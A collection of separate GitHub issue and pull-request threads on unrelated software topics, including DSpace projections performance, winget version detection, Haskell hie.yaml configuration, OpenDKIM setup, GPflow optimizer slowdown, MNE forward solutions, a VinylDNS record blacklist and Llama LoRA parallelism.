DS-3533 projections support

This sets the stage for projections support and implements "ListProjection", which is automatically applied by default when GETting resources that return lists.
It is expected that future PRs will a) improve efficiency by implementing true sub-resource paging via link repositories, while designating such linked sub-resources as optionally embeddable, and b) implement new projections we have not thought of yet.
With this branch, all HAL GET endpoints support an optional ?projection=name parameter, which causes the projection, if found, to be applied before the result is returned. By default, endpoints that return lists of items are provided using the 'list' projection, which omits any embeds that are designated as optional.
I recommend reading the javadocs of Projection and ConverterService first, to get a general sense of how projections are expressed and used in this design.
CURRENT STATE as of Nov 7:

Main projections support is implemented. It allows creating projections that apply to objects at multiple points in their life cycle.
There is some significant refactoring, which effectively removes a lot of boilerplate code and consolidates JPAEntity -> RestModel conversions, and RestModel -> HALResource conversions into a common service usable anywhere, which accepts projections as input: ConverterService.
To show what is possible, current code in this branch turns Item->Relationship embed into one provided by a link repository, and flags that as an optional embed. The idea is that when an embed is optional, the 'list' projection has the power to veto its being embedded (so it is just linked instead).
To test, run on any repo that has relationships, then view the items/ endpoint that just lists items. Notice how for all items included, they all link to their relationships, they do not embed them. This is because the ItemRestRepository has told the ConverterService to automatically use the ListProjection when findAll is called.

Slides from Oct 17 WG meeting discussing what had been done up to that point: Download PDF

I did perform tests using this branch with an item containing 60 relationships. What I noticed is:

The performance did improve (using 100 requests to the same item each time, always after already having requested the item at least 10 times prior to starting the test)

The item page using the master branch (containing relationships) required 210ms
The item page using this PR without specifying projections (containing relationships) required 433ms. No idea why it increased so much.
The item page using this PR with projection=list (excluding relationships) required 77ms. This is indeed a substantial improvement.

When performing the same test on an item containing 1 relationship (but also less metadata), the results were:

The item page using the master branch (containing the relationship) required 27ms
The item page using this PR without specifying projections (containing the relationship) required 66ms. The time increased again
The item page using this PR with projection=list (excluding the relationship) required 31ms, close to the duration using the master branch

The HAL link to relationships is missing without specifying projections. Although it may not be necessary because the relationships are embedded, this may be breaking some functionality. At this point in time, the master Angular UI has issues with this branch (doesn't render all relationships)
The embedded paging details are broken (without specifying projections). They only mention 1 page, and 20 totalElements. Due to this, the next and last links are missing as well. These are all correct using the master code

I did not review the code yet
This is a good first step and has a substantial improvement for items with many relationships, but it worries me that the performance degrades when embedding, and the performance even degrades when removing the embedding if there's just one relationship

@benbosman thanks for giving it a test. I have fixed the two functional regressions you reported. It sounds like we should have some coverage of those cases in the tests as well. I will add those and some additional tests to cover the new functionality introduced here.
Your performance report was concerning, so I did some detailed analysis using a profiler and found some room for improvement around the code that looks at the LinkRest annotations on rest class methods. By introducing some caching, I was able to improve things quite a bit there.
After merging master in and putting all the above changes in place, I ran a set of tests similar to yours, using curl to retrieve an item HAL resource 100 times. One with 60 relationships, and one with 1. Here are my results:

Get one item with 60 rels 100 times:

master branch: 32 seconds
this branch, projection=default: 30 seconds
this branch, projection=list: 23 seconds

Get one item iwth 1 rel 100 times:

master branch: 4.1 seconds
this branch, projection=default: 3.8 seconds
this branch, projection=list: 3.3 seconds

I should point out that were I really expect this branch to have a big effect is in endpoints that return pages of things (items, etc). So while looking at the effect on a single item is informative to zero in on differences between master, I expect the main benefit to be much more pronounced just by the fact that "projection=list" is automatically done on resources that are collections (this is akin to an "excerpt" projection as described in Spring Data Rest)

Thanks @cwilper
I also verified my tests using this branch with an item containing 60 relationships. What I noticed is:

The performance did improve with the latest updates:

The item page using the master branch (containing relationships) required 210ms (not tested again)
The item page using this PR without specifying projections (containing relationships) required 191ms. This is indeed an improvement
The item page using this PR with projection=list (excluding relationships) required 73ms. Similar to the last test

When performing the same test on an item containing 1 relationship (but also less metadata), the results were:

The item page using the master branch (containing the relationship) required 27ms (not tested again)
The item page using this PR without specifying projections (containing the relationship) required 22ms. This is indeed an improvement
The item page using this PR with projection=list (excluding the relationship) required 15ms, an even bigger improvement.

The HAL link to relationships and the embedded paging details are resolved.
I will check out the code next, but the tests are looking very promising to me

@cwilper : If you can rebase this on the latest master and resolve the merge conflicts, I just merged #2529 and #2548 (as previously agreed upon).  Both of these add some code that will need to be updated to support Projections.
Once those updates are made to this PR, we can merge this (it's already at +2).


[Package Issue]: SublimeHQ.SublimeText.4 version unknown during upgrade

Please confirm these before moving forward

[X] I have searched for my issue and not found a work-in-progress/duplicate/resolved issue.
[X] I have not been informed if the issue is resolved in a preview version of the winget client.

Category of the issue
Installation issue.
Brief description of your issue
The package shows with an Unknown version and a newer version available but never updates to that version. Running the installer manually without winget does not resolve the issue.
Steps to reproduce

winget install SublimeHQ.SublimeText.4
winget upgrade -s winget --all
1 package(s) have version numbers that cannot be determined. Use --include-unknown to see all results.
winget uninstall SublimeHQ.SublimeText.4
Install Sublime Text 4 from https://www.sublimetext.com/download_thanks?target=win-x64
winget upgrade -s winget --all
1 package(s) have version numbers that cannot be determined. Use --include-unknown to see all results.
'winget list --name "Sublime"`

Name         Id                      Version Available    Source
----------------------------------------------------------------
Sublime Text SublimeHQ.SublimeText.4 Unknown <IP_ADDRESS>4300 winget

Actual behavior
The package shows with an Unknown version and a newer version available but never updates to a valid version. Running the installer manually without winget does not resolve the issue.
Expected behavior
The package version should be shown. When installing the package manually without winget, it should not show up as an error during winget upgrade --all.
Environment
Windows Package Manager (Preview) v1.5.1081-preview
Windows: Windows.Desktop v10.0.22621.1555
System Architecture: X64
Package: Microsoft.DesktopAppInstaller v1.20.1081.0

### Screenshots and Logs

_No response_

This is because the publisher does not write a value into the registry to indicate the version. Because winget uses the registry to determine which application and versions are installed, it sees that there is no version information available and presents it as "Unknown". The best way to fix this is for the publisher of the software to update the installer so it writes the DisplayVersion registry key.
[Policy] Installer Issue

@jskinner @wbond @dpjohnst do you have some context or any pointers who can help investigate?

https://github.com/sublimehq/sublime_text/issues/1114 and https://github.com/sublimehq/sublime_text/issues/5272 , both of which document this problem with ST3 (and ST4 uses the same installer, InnoSetup).  Note that the oldest ticket is 7 years old.
The fact the SublimeHQ folks have not addressed this in seven years is disheartening at best, especially when the fix is as simple as adding a single line to their .iss file that contains the actual build/version number (which they certainly known at .iss-build-time).

Duplicate of #126287


Builds show an NU1007 warning

The builds all show an NU1007 warning. This is a bug in the CLI tools and is tracked here:
https://github.com/dotnet/cli/issues/3381

@onovotny Still an issue?


How to use hie with GHCI setup (no cabal, no stack)

I would like to use hie in vscode on a project where I used to be using ghci/ghcid (no cabal, no stack).
I am having trouble getting import XXXX of my other modules to be resolved. Here is the important pieces from my .ghci file
:set -fwarn-unused-binds
:set -fwarn-unused-imports
:set -isrc
:set -icis194/week12
:load main.hs

I need hie to know that src and cis194/week12 should be searched by GHC.
How do I tell hie that?
I tried a hie.yaml on the form
cradle:
 direct:
 arguments:
 - -Wunused-binds
 - -Wunused-imports
 - -Worphans
 - -isrc
 - -icis194/week12

The server crashes 5 times on this one.
Also is it supported to have
{-# OPTIONS_GHC -Wall #-}
{-# OPTIONS_GHC -fno-warn-unused-imports #-}
{-# OPTIONS_GHC -fno-warn-missing-signatures #-}

on the source files, or is

IIRC, hie.yaml should have the form:
cradle:
 direct:
   arguments:
   - -Wunused-binds
   - -Wunused-imports
   - -Worphans
   - -isrc
   - -icis194/week12

But then this ought to work. Can you try it, too? If it does not work, please link the output of hie --debug . here.

Also is it supported to have
{-# OPTIONS_GHC -Wall #-}
{-# OPTIONS_GHC -fno-warn-unused-imports #-}
{-# OPTIONS_GHC -fno-warn-missing-signatures #-}

on the source files, or is

Yes, that is supported. If not, please open ticket :)

Thanks for the quick response:smile:
I searched for "direct hie.yaml", and found something in a github repo almost similar to your suggestion
cradle:
  direct:
    arguments:
      #- -hide-package=ghc-boot-th
      #- -hide-package=template-haskell
      #- -package=ghc-lib-parser
      - -fwarn-incomplete-patterns
      - -fwarn-unused-binds
      - -fwarn-unused-imports
      - -fwarn-orphans
      - -isrc
      - -icis194/week12

If I uncomment all the hide pkg's compiler options(-hide-package=...) then it is almost similar.
So -fwarn-unused-binds is similar to -Wunused-imports?
It is woriking, thanks!
Question
Is this the correct approach if I want to use hie (or ghcide or some other hie-bios powered tool)?
When using ghcid and hlint I only had to configure .ghci. Now I have to configure hie.yaml as well, but do get 'goto definition', 'hover tool tips', 'show references'. Is this correct?
What is the default, if running without a hie.yaml, and not using cabal or stack?

It is woriking, thanks!

Glad to hear it :)

Is this the correct approach if I want to use hie (or ghcide or some other hie-bios powered tool)?

The hie.yaml is the correct approach, yeah.
I think you can actually pass in the .ghci script via -ghci-script=... to repeating yourself.

What is the default, if running without a hie.yaml, and not using cabal or stack?

In hie, we assume a direct cradle which is more or less identical to:
cradle:
  direct:
    arguments:
    - -i.

Additionally, it passes the file to load to ghc. That can not be expressed via this hie.yaml.
Source: https://github.com/haskell/haskell-ide-engine/blob/b32ff3a56c33514ffeed70387988ba2c179398ec/hie-plugin-api/Haskell/Ide/Engine/Cradle.hs#L467

I am about to start the data61 (NICTA) course
The project is ghci based (no stack, no cabal, by default), with compiler setings defined in this .ghci. I wasn't able to define the hie.yaml like this
cradle:
  direct:
    arguments:
      - -ghci-script=.ghci

Maybe I am doing something wrong?
Instead I wrote
cradle:
  direct:
    arguments:
      - -package time
      - -package containers
      - -fwarn-incomplete-patterns
      - -fwarn-unused-binds
      - -fwarn-unused-imports
      - -fwarn-orphans
      - -isrc
      - -Wall
      - -fno-warn-unused-binds
      - -fno-warn-unused-do-bind
      - -fno-warn-unused-imports
      - -fno-warn-type-defaults
      - -XNoImplicitPrelude
      - -XScopedTypeVariables
      - -XOverloadedStrings
      - -XRebindableSyntax
      # :l src/Course.hs src/Test/Loader.hs
      # :m + Test.Loader

Do you know if I need the :load src/Course.hs src/Test/Loader.hs line, and the :m + Test.Loader line?
I couldn't find anything with any of the below
ghc --show-options | grep load
ghc --show-options | grep module

The project is ghci based (no stack, no cabal, by default), with compiler setings defined in this .ghci. I wasn't able to define the hie.yaml like this
cradle:
  direct:
    arguments:
     - -ghci-script=.ghci

What is the error message? E.g. Output of hie --debug.

Do you know if I need the :load src/Course.hs src/Test/Loader.hs line, and the :m + Test.Loader line?

Lines such as :load are definitely for the ghci script and do not work with hie.yaml. As a rule of thumb, the command ghc <arguments> File.hs should succeed.

This is the output
The Setup.hs contains
import Distribution.Simple
main = defaultMain

It should definitely be ignored, but its in a ./support directory, and .ghci is only adding ./src via -i option?

To ignore a specific file, take a look at the none cradle.
E.g. assuming that your project root is /Users/maxfire/Projects/haskell/fp-course, your hie.yaml could look like this:
cradle:
  multi:
    - path: ./
      config:
        cradle:
          direct:
            arguments: [...]
    - path: ./support/Setup.hs
       config:
          cradle:
            none:

The so-called none-cradle tells HIE to not even attempt to load the files associated with it.

I can't get it working with the -ghci-script=.ghci compiler option
Also
$ ghc --show-options | grep ghci
-fghci-history
-fghci-leak-check
-fghci-sandbox
-fno-ghci-history
-fno-ghci-leak-check
-fno-ghci-sandbox

I see no such option, even though I can find it documented online?

I can't get it working with the -ghci-script=.ghci compiler option

How does it manifest? In the logs you posted, I think you were missing the stderr and the result claims that everything works as expected.

I see no such option, even though I can find it documented online?

Sorry, not my expertise.


Replace rspamd with OpenDKIM

OpenDKIM configuration
has two Lua scripts defining strict DKIM policy.
screen.lua filters out signatures that do not correspond
to the From: domain so they are not even checked.
final.lua rejects mail if it is not outgoing
and has no valid DKIM signatures.
OpenDKIM is configured as a milter on port 25 smtpd
to check DKIM signatures
and on mail reinjecting smtpd
to sign outgoing messages with DKIM signatures.
Closes #179
Closes #182

I received the following DKIM signature from c20.testrun.org:
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=c20.testrun.org;
	s=opendkim; t=1705684900;
	bh=9nI2wlDG0Ykq3gVRJxWi2HowGwYlGYJr4KFoLXtD3bE=;
	h=Subject:From:To:Date:In-Reply-To:References:From;
	b=BT9br06BVJXpKq/hG4TimZaXcOyoouXjQng4Uckxj+omtutf+lvL1Rvf8ttPaSD3d
	 HW71e3tW26ouvU+ttX4hmGAuvoAAWpM2eONtwNkxKAgpIA3BryV3j8+wzMlWYrH8rO
	 wTiObK2/EVyW/sfvdWHOAO+C4KW9t+iRVk50WUw+Yk7ybkJrSrumopG07mRQ/z4PQw
	 V4SDcicpadm3TqRpKhuD4D7dU5tFoLlXYkqb4cBoKAmPUAw0N1kUeKuq7WHGVetMXS
	 kUmDIVmseT7MWNJFC8zn12bs9AGNfnJuub7HO3t6YvUJ1hX4J4rVnj3GJTIq7s1fuO
	 imB3Bzqqy2WXw==

does that mean the autocrypt header was not signed?

@missytake I pushed another commit that apparently fixes the bug. Deployed ccc20.testrun.org from main, then deployed this PR.
Could you try the same thing on another domain?

sounds good, will try tomorrow... my eyes hurt already^^


Last updated date for Docs

The Docs need to have a last updated date so that people who read them can know if they are up-to-date with the latest information.

@Niekon01 I can provide the design for this.

Here's the updated design Figma link:
https://www.figma.com/file/PIFGlnOLkEyTIEX2IPH1tw/Marketing-Site-–-TNB?node-id=55%3A0
@Niekon01
As per the discussed: @buckyroberts @kristykjlee

Here's my account number: ddef8a7ea0d98f8605703102f5b25e587d612ba7917afc1c9eb0ee904ae181c0

@buckyroberts Has this been paid for?

@mofodox Paid for the design

I've digging through the code and I believe that I can implement this.  This will be my first contribution should I just make a pull request or ask to have it assigned?

@kristykjlee I forgot to tag someone in my message above, could you offer some guidance?

@thesanjeevsharma I sent you a DM on slack but I'll post this here in case you see it first.
Is this feature strictly for the main Guide, or is this supposed to be extended out to the account manager guide, deployment guides, style guide and API sections too?  And lastly should I just use today's date or is their a date object somewhere that I should be using?

Hey! It should be on every section. Since different sections can be updated at different times.
Also, you can write today's date for now. Later on, when someone makes a change in docs they'll update that date.

Hey I just want to remind you guys that the "paid" label was left over from the design just in case the payment team sees that and gets confused, no rush. I am excited my first contribution got merged though! Woohoo!  @thesanjeevsharma


Does xorbits support sklearn and which algorithms are supported?

Does xorbits support sklearn and which algorithms are supported?

@YishuiLi Xorbits does support some sklearn algorithms in here: https://github.com/xorbitsai/xorbits/tree/main/python/xorbits/_mars/learn

Thanks. Will xorbits support more algorithms?

Which algorithm do you want to use?
We are also planning to redesign the implementation of some iterative algorithms like kNN.

Which algorithm do you want to use? We are also planning to redesign the implementation of some iterative algorithms like kNN.

Some common algorithms. Decision Tree, KNN, GradientBoosting, SGD, SVM, Logistic Regression.
Will xorbits consider supporting these in the future?

We have already supported xgboost and lightgbm. https://doc.xorbits.io/en/latest/libraries/index.html
We are also working to improve iterative algorithms like kNN and Logistic Regression.

We have already supported xgboost and lightgbm. https://doc.xorbits.io/en/latest/libraries/index.html
We are also working to improve the performance of iterative algorithms like kNN and Logistic Regression.

OK. Thank you!


Optimise app for Mac

https://developer.apple.com/tutorials/mac-catalyst

Enabled touch events: https://developer.apple.com/documentation/bundleresources/information_property_list/uiapplicationsupportsindirectinputevents

Custom UIHostingController: https://lostmoa.com/blog/iOSKeyboardShortcutsInSwiftUI/

Useful hints: https://hacknicity.medium.com/bringing-adaptivity-to-mac-catalyst-580091791ee9


Optimization slows down when redone many times

When you rerun optimisation over the same model many times it becomes slower and slower.
MWE:

opt = gpflow.train.ScipyOptimizer()
mean = gpflow.mean_functions.Constant()
k = gpflow.kernels.Matern52(1)

x = np.atleast_2d(np.random.rand(100))
y = np.atleast_2d(np.random.rand(100))

m = gpflow.models.GPR(x, y, kern=k, mean_function=mean)

for i in range(100):
    %time opt.minimize(m)

GPflow 1.1.1
Tensorflow version tensorflow==1.7.0
No GPU
Python 3.6.4
macOS

Is there a way how to clean the tf graph easily, it seems to be growing with every iteration.

That is strange. I don't immediately see why the graph should grow with this code.

I think this is inevitable as the scipy optimizer build a graph each time (https://github.com/GPflow/GPflow/blob/bac97289f9c3194f13729eb6b8531b4c6afcaec8/gpflow/training/external_optimizer.py#L221). If you use the actions framework you can call the optimize operation directly, and not have to rebuild the graph each time

I had a quite similar problem. It was fixed by resetting the graph in each iteration, see the last comment in #719. In your case you will have to reassign the trained parameters from the previous iteration, but I guess that is possible too.

I like @hughsalimbeni's solution. Did you have a one-liner example in mind?

@tomaskrehlik , Hello! Are you sure that you are using scipy optimizer correctly, maybe you need: opt.minimize(m, **maxiter=1000**)? In any case,  you can use session.run(optimizer.optimize_tensor).

@awav  is the actions framework that @hughsalimbeni  is mentioning documented somewhere ?  I need to actually do the optimisation in the issue where opt.minimize needs to be called within a loop (RL loop)

@hughsalimbeni Can the Action framework be used with ScipyOptimizer?
Using it with other optimizers (like AdamOptimizer) does work as a workaround for this problem.

@kozisek,

Can the Action framework be used with ScipyOptimizer?
No.

@sanket-kamthe, @tomaskrehlik
You have different ways to optimize model:
import numpy as np
import numpy.random as rnd
import gpflow

X = rnd.randn(100, 1)
Y = np.sin(X) + np.sin(1.5*X) + 0.3 * rnd.randn(*X.shape)
m = gpflow.models.SGPR(X, Y, gpflow.kernels.RBF(1), Z=X.copy())

gpflow.train.ScipyOptimizer().minimize(m, maxiter=1000)

import gpflow.actions as actions
adam = gpflow.train.AdamOptimizer(0.01).make_optimize_action(m)
actions.Loop(adam, stop=100)
# or
adam.run(actions.ActionContext(adam))
# or
actions.Loop(actions.Condition(lambda ctx: ctx.iteration % 2, adam), stop=100)
# any many many more examples

Caveat: doesn't work with scipyoptimizer, but use trick in next item.

o = gpflow.train.ScipyOptimizer()
o.minimize(m, maxiter=1)
scipyopt_tensor = o.optimizer

for i in range(100):
    gpflow.get_default_session().run(scipyopt_tensor)

More answers in #761. I'm about to close this issue, any objections? @tomaskrehlik, @kozisek, @markvdw, @Brunarspunar?

@tomaskrehlik, okay, now I got it. In such cases, you are forced to use shared optimizer with one model (as you said it is 3 approach in the list). I'm not sure though, that it is going to work when shape of your data changes.


Removed deprecated functions

As per warning, 0.7 will remove legacy functions.
Also added npm-debug to gitignore.

Coverage increased (+0.1%) to 97.049% when pulling 60ae48e09111c00446c90eabef8ae110866a9ef6 on fl0w:master into 37413473ca0032271810376e49ef207f44e6ca64 on Vincit:master.

Coverage increased (+0.1%) to 97.049% when pulling d83569df0fd4e34ee2210859ea2d0de8a61d8668 on fl0w:master into 37413473ca0032271810376e49ef207f44e6ca64 on Vincit:master.

Thanks!


Composed Systems

Problem
As already discussed in other issues (#93), the current mechanics to compose a more complex Markov chain are fairly limited. The maximum number of edges per node in the state transition graph is by the number of rules limited, and implementing any kind of hierarchy can be cumbersome.
Proposed Solution
A new method could consist of the following structures:
struct State {
elements: HashMap<Hash, Element>
}

struct Container {
children: HashMap<Hash, Element>,
computed: HashMap<Name, Computed>
}

enum Èlement {
container: Container,
object: Object
}

struct Computed {
getter: Box<dyn Fn(Vec<Element>) -> Property>,
setter: Box<dyn Fn(Vec<Element>) -> Vec<Element>>
}

struct Property {
// generic box
}

struct Object {
parameters: HashMap<Name, Property>
}

struct Transaction {
actions: HashMap<Name, Action>
}

struct Action {
element: Hash,
value: Property
}

// Implemented by the end user
fn generator(state: State) -> HashMap<Transaction, Probability>

fn probabilities(transactions: HashMap<Transaction, Probability>) -> HashMap<State, Probability>

Notes
No response

This feature request has to wait till #96 is completed


Analyze independently each project, without their static dependencies

We are building a Design System, and we would like to see Sonar Analyses for each of our lib independently.
At the moment, if A is dependent of B, I will have the bugs of B and A inside the analytics.
For example:
flowchart LR
  subgraph libraries[nx run A:sonar]
  B[Library B containing 5 bugs] -.-> A[Library A containing 1 bug]
  end
  libraries --> Result[6 bugs in total]

What I would like:
flowchart LR
  subgraph libA[nx run A:sonar]
  A[Library A containing 1 bug]
  end
  subgraph libB[nx run B:sonar]
  B[Library B containing 5 bugs]
  end
  libA --> ResultA[1 bug in total]
  libB --> ResultB[5 bugs in total]

Do you think it would be possible to provide an option for this use case ? 😄
Thanks in advance and have a nice day !

@Nxtivision I think this is an acceptable request. I just need to think through how to specify which mode via executor options since skipImplictDeps already exists and has some crossover with this feature.

This would add a huge performance improvement for us as well. We have projects with many dependencies, and it would be great to have the ability to toggle this on/off.

We achieved this by modifying the getDependentPackagesForProject function to return no dependencies. Also, specify the tsconfig file to avoid scanning all workspace tsconfig files ( "tsConfig": "{projectRoot}/tsconfig.json")


Forward object contains triangulation which uses omitted sources

I first computed source space for sample subject:
src = mne.setup_source_space(subject, spacing='ico5', subjects_dir=subjects_dir, add_dist=False)
Then forward solution:
model = mne.make_bem_model(subject=subject, ico=None,
                           subjects_dir=subjects_dir)
bem = mne.make_bem_solution(model)
fwd = mne.make_forward_solution(evoked.info, trans=trans, src=src, bem=bem,
                                meg=True, eeg=True, mindist=3.0, n_jobs=2)

Some source points were out of distance limits, so were deleted from the model:

9 source space points omitted because they are outside the inner skull surface.
114 source space points omitted because of the    3.0-mm distance limit.

But the forward object still contains triangulation which uses these omitted sources
print src[0]['nuse'], src[0]['nuse_tri']
print fwd['src'][0]['nuse'], fwd_fixed['src'][0]['nuse_tri']

10242 [20480]
10119 [20480]

After discussing this issue with @agramfort , a solution could be not to omit these sources, but to  interpolate their lead fields  using morph_data tool. I can do a PR for this, adding this option to
mne.make_forward_solution() function.

interpolate their lead fields using morph_data tool

Has anyone checked that the results are sensible? It should be pretty straightforward -- compute forward with some dist limit that works for all sources, then compute it with whatever dist limit causes exactly one source to be omitted, and check your interpolated value against the veridical one. I'm not sure it will be all that close.
To decide how close is "close enough" you could look at how similar the MEG lead fields are for using a 1-layer vs 3-layer BEM, which presumably should not be too different (right @agramfort?).
But the deeper question is: why do you need the triangulation information to be complete? If that is all that you really need (and you don't actually need the source point itself), I'm sure there are ways to  "re-close" the mesh. For one, you could try using the spherical surface to perform a Delaunay of the points that formerly touched the removed vertex.

usecase is for example to make sure we have the same vertno for all
subjects or if you need a closed mesh for data-driven parcellation
computation
in terms of accuracy is will not be correct (think that radial dipoles
close to inner skull cannot be guessed by interpolation) but it
should good enough for some use cases.

I'd like to see the result of the suggested test. It can work as a unit test anyway so it's useful for multiple reasons

I don't think that orientation meters a lot, cause anyway x, y, z directions are estimated, not the fixed orientation lead field.

Yes but think about it differently -- we compute in cardinal XYZ simply for convenience. What we calculate is equivalent (through mult with a rotation matrix) to computing a radial component and two other components orthogonal to it. So @agramfort is saying one of these three degrees of freedom is likely to be pretty bad.
How bad can be established with the little test I suggested above (which we'll need anyway as a unit test). So hopefully you can implement it and see what the quality is like!

I would prefer to not interpolate but to omit these points and then reclose the mesh

This actually is not so difficult a problem because by Freesurfer we have a way to map all our cortical vertices onto a sphere (preserving the existing triangulation). But it does not solve as many problems as interpolation would.
Realistically we might consider having the API on_missing=:

'info': current behavior, inform the user but don't do anything special
'warn': allow it to warn instead
'raise': raise RuntimeError
'interpolate': initial suggestion
'close': just close/complete the mesh after omission

At least the first 4 make for a hopefully simple PR. I can add the "close" option if you'd like to explore how useful (or not) it is.

just give it a try and look at fwd sensitivity maps to see how it looks like

ok, i'll start with this


How to connect to silo with Nexpose python API?

Could someone please let me know how to connect to a silo using the python API?
Thanks !

It looks like that isn't supported currently as only the username and password are used to construct the login request: https://github.com/rapid7/nexpose-client-python/blob/master/nexpose/nexpose.py#L194-L197

@gschneider-r7 thanks for the info, do you maybe know if this is planned? Because at this moment we need to rewrite everything to ruby and it's a pain :/


Blacklisting records

Background
When considering "shared zones", there maybe certain records that zone or vinyldns admins do not want to allow open access to.  These typically are "high value domains" that should never change without strict authorization.
Requirements

The system should allow vinyldns admins or zone admins to create a blacklist of records that cannot be modified (are locked down).
The blacklist will exist per zone.
The records that are blacklisted cannot be modified via VinylDNS.  They can only be updated out-of-band.
A blacklist entry consists of an FQDN and optional list of record types.  If the record type is empty, then all record types for that FQDN are considered black listed.  For example www.foo.com A would lock down any operation on A records only; whereas, www.foo.com [empty] sould lock down any operation on ALL records.
VinylDNS admins (super users) have the ability to override and change any blacklisted domain in the system.  VinylDNS will warn before allowing modification to blacklisted domains.

Proposed Design

Add a section to Manage Zone or a new tab that allows zone admins or vinyldns admins the ability to manage the black listed records for their zone
Allow the user to designate blacklisted records when they connect to a zone
The blacklist should live with the existing zone endpoints, as additional data on the zone entity itself.

Note: We could simply add new ACL access entry for "blacklist".  Allows the user to just create an ACL Rule that says "blacklist www.foo.com".
Questions

Should we maintain a separate, "global" black list that only vinyldns admins can maintain (or perhaps live in configuration so it is hard to get to)?  Just thinking that we wouldn't want someone to accidentally "un-blacklist" www.comcast.net for example.
Answered: Yes, we should have a global black list.

Do we want this to be all on fqdns? feels like regex's could be useful (and not much added effort).
Also, is there anything "high value" in reverse? and IPs that have to be locked to changes?

Also, should definitely discuss phasing this - is a global blacklist sufficient to start? There are larger discussions to be had around an admin interface, but it is easy enough to get a global blacklist in config. If that covers most of our use, would be awesome to be able to prioritize that and move onto some other things before revisiting an admin interface and per-zone blacklist

@rebstar6 I think a global blacklist will be sufficient to start.  However, I think that "High Value Domains" #254 is a higher priority than this issue.
We separated these two out recently:

High Value Domains will never be managed through VinylDNS.  That is a global blacklist
Blacklist would support "VinylDNS Admin" override.

I think explicitly restricting updates to certain records is valuable from a product feature perspective, but may even be out of scope for MVP

Closing, will log a new issue if this feature becomes requested


FileNotFoundError: [Errno 2] No such file or directory: 'fasterrcnn_resnet50_fpn.pth'

To replicate
following the README I ran...
$ docker build -t clams-slatetext .
$ docker run -p 5001:5000 -v data:/data clams-slatetext
WARNING: The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested
Downloading: "https://download.pytorch.org/models/fasterrcnn_resnet50_fpn_coco-258fb6c6.pth" to /root/.cache/torch/hub/checkpoints/fasterrcnn_resnet50_fpn_coco-258fb6c6.pth
100.0%
Traceback (most recent call last):
  File "app.py", line 94, in <module>
    td_tool = Slate_TD()
  File "app.py", line 20, in __init__
    self.model.load_state_dict(torch.load('fasterrcnn_resnet50_fpn.pth', map_location=torch.device('cpu')))
  File "/usr/local/lib/python3.8/site-packages/torch/serialization.py", line 579, in load
    with _open_file_like(f, 'rb') as opened_file:
  File "/usr/local/lib/python3.8/site-packages/torch/serialization.py", line 230, in _open_file_like
    return _open_file(name_or_buffer, mode)
  File "/usr/local/lib/python3.8/site-packages/torch/serialization.py", line 211, in __init__
    super(_open_file, self).__init__(open(name, mode))
FileNotFoundError: [Errno 2] No such file or directory: 'fasterrcnn_resnet50_fpn.pth'

I tried replacing "fasterrcnn_resnet50_fpn.pth" on line 20 of app.py with "fasterrcnn_resnet50_fpn_coco-258fb6c6.pth" as indicated in the "dowloading..." message, but it results in
No such file or directory: 'fasterrcnn_resnet50_fpn_coco-258fb6c6.pth'

... so I'm not sure where this file is expected to be.

I get the same error. Also, I think the README file needs some updates.
Kelley, can we look at this if you are in on Thursday?

@marcverhagen do you mean the host port vs container port? I think those need to be reversed, yeah?

The model file is too big to put on GitHub so that is what is causing the
issue. I think in the past I pushed the image with the model to docker hub,
but the version there is out of date now. The app does need to be updated
for sdk changes and I should have that done by tomorrow.
On Tue, Feb 28, 2023 at 4:49 PM Andrew Myers @.***>
wrote:

@marcverhagen https://github.com/marcverhagen do you mean the host port
vs container port? I think those need to be reversed, yeah?
—
Reply to this email directly, view it on GitHub
https://github.com/clamsproject/app-slate-textdetection/issues/1#issuecomment-1448969637,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEAKHFU3ZNITD3FXPUT5OJ3WZZXGNANCNFSM6AAAAAAVJ3XQWU
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

@marcverhagen do you mean the host port vs container port in the -p option of docker compose? I think those need to be reversed, yeah?

No, I think the port is correct. Typically with one app you end up doing 5000:5000.
It is the input MMIF that seems to be an old version.

Right, but I think it's docker run -p [host port]:5000 ... rather than docker run -p 5000:[host port]


Llama 2 Peft/Lora support

LlamaParallelizer today doesn't support a model modified by Peft/lora API. Please, add support for TP parallelizer to handle llama2 peft/lora models for faster fine-tuning jobs.
This can start with Llama2 (priority), but should be generalized to all the other parallelizers.
Original
LlamaForCausalLM(
  (model): LlamaModel(
    (embed_tokens): Embedding(32000, 4096)
    (layers): ModuleList(
      (0): LlamaDecoderLayer(
        (self_attn): LlamaAttention(
          (q_proj): Linear(in_features=4096, out_features=4096, bias=False)
          (k_proj): Linear(in_features=4096, out_features=4096, bias=False)
          (v_proj): Linear(in_features=4096, out_features=4096, bias=False)
          (o_proj): Linear(in_features=4096, out_features=4096, bias=False)
          (rotary_emb): LlamaRotaryEmbedding()
        )
        (mlp): LlamaMLP(
          (gate_proj): Linear(in_features=4096, out_features=11008, bias=False)
          (up_proj): Linear(in_features=4096, out_features=11008, bias=False)
          (down_proj): Linear(in_features=11008, out_features=4096, bias=False)
          (act_fn): SiLUActivation()
        )
        (input_layernorm): LlamaRMSNorm()
        (post_attention_layernorm): LlamaRMSNorm()
      )
    ......
    )
    (norm): LlamaRMSNorm()
  )
  (lm_head): Linear(in_features=4096, out_features=32000, bias=False)
)

Lora
PeftModelForCausalLM(
  (base_model): LoraModel(
    (model): LlamaForCausalLM(
      (model): LlamaModel(
        (embed_tokens): Embedding(32000, 4096)
        (layers): ModuleList(
          (0): LlamaDecoderLayer(
            (self_attn): LlamaAttention(
              (q_proj): Linear(
                in_features=4096, out_features=4096, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=4096, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (k_proj): Linear(
                in_features=4096, out_features=4096, bias=False
                (lora_dropout): ModuleDict(
                  (default): Dropout(p=0.1, inplace=False)
                )
                (lora_A): ModuleDict(
                  (default): Linear(in_features=4096, out_features=4, bias=False)
                )
                (lora_B): ModuleDict(
                  (default): Linear(in_features=4, out_features=4096, bias=False)
                )
                (lora_embedding_A): ParameterDict()
                (lora_embedding_B): ParameterDict()
              )
              (v_proj): Linear(
                in_features=4096, out_features=4096, bias=False
                (lora_dropout): ModuleDict(
